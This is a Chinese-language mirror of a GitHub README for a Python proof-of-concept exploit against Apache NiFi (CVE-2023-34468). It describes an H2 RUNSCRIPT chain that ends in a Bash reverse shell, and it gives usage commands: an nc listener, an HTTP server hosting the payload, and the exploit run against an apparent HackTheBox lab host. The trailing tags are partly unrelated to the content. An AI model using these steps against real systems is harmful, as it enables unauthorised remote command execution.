ozcanpng/CVE-2023-34468

GitHub: ozcanpng/CVE-2023-34468

针对 Apache NiFi ExecuteSQL H2 RUNSCRIPT 漏洞(CVE-2023-34468)的 Python PoC,通过自动化的完整利用链实现远程命令执行并回连反向 shell。

Stars: 0 | Forks: 0

# CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC 简短的 Python PoC,用于滥用可编辑的 Apache NiFi ExecuteSQL processor,通过 H2 `RUNSCRIPT` payload 触发经由 Bash 反向 shell 的远程命令执行。 ## 功能说明 ``` ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore ``` 1. 自动发现单个 ExecuteSQL processor,或手动接受 `--processor-id`。 2. 在本地写入 `rce.sql` payload,定义并调用基于 Java 的 shell 执行别名。 3. 提示你启动自己的 `nc` 监听器和 HTTP 服务器。 4. 更新 processor 查询,通过 H2 `RUNSCRIPT` 获取 `rce.sql`。 5. 启动 processor 以触发反向 shell。 6. 在你确认 shell 成功连接后,恢复原始的 processor 配置。 ## 截图 ### 1. 设置 ![Setup](https://static.pigsec.cn/wp-content/uploads/repos/cas/8c/8c6ad9cd6a4f46dbd455e43865a8c92fa697911d0aed9f1ef6baeb549e2ddb45.png) ### 2. 请求 payload ![Exploit run](https://static.pigsec.cn/wp-content/uploads/repos/cas/d2/d2df13aefeaf39d853460915351fddf285878e05cf041d0609963eb496b5e882.png) ### 3. 接收到 Shell ![Processor update](https://static.pigsec.cn/wp-content/uploads/repos/cas/7b/7b7b0448d7cce9de9fbb950163b38b4b65301b7e3d87632aea371d3b5a6d7dff.png) ### 4. 结果 ![Result](https://static.pigsec.cn/wp-content/uploads/repos/cas/a8/a837da667c52b78b7c9fefc674ac3d5a43086c9a2b9282ba82d122bec2084205.png) ## 环境配置 ``` git clone https://github.com/ozcanpng/CVE-2023-34468.git cd CVE-2023-34468 python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt ``` ## 用法 终端 1: ``` rlwrap nc -lvnp 4444 ``` 终端 2,在此仓库目录下运行: ``` python3 -m http.server 8000 ``` 终端 3: ``` python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444 ``` 手动选择 processor: ``` python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id --lhost 10.10.16.53 --lport 4444 ``` ## 影响范围 | 产品 | 受影响版本 | 所需权限 | 影响 | |---------|------------------|-----------------|--------| | Apache NiFi | CVE-2023-34468 影响使用可编辑 ExecuteSQL/H2 行为的部署 | 能够通过 API 访问并修改目标 NiFi processor | 远程命令执行 | ## 注意事项 - 该脚本假设 NiFi API 可访问,且当前用户/会话可以修改目标 processor。 - 生成的 `rce.sql` 文件会被 git 忽略,应使用 `python3 -m http.server` 从仓库目录提供托管。 - 如果自动发现未找到 processor 或存在多个候选,请使用 `--processor-id` 手动传入 processor UUID。 - 在你确认 shell 成功连接后,脚本会尝试恢复原始的 ExecuteSQL processor 配置。 ## 参考 - [NVD — CVE-2023-34468](https://nvd.nist.gov/vuln/detail/CVE-2023-34468) - [Apache NiFi](https://nifi.apache.org/) - [H2 Database 命令](https://www.h2database.com/html/commands.html) ## 作者 ozcanpng — [github.com/ozcanpng](https://github.com/ozcanpng) — [ozcanpng.dev](https://ozcanpng.dev)
标签:Apache NiFi, CISA项目, JS文件枚举, PoC, Python, 应用安全, 无后门, 无摄像头检测, 暴力破解, 远程命令执行, 逆向工具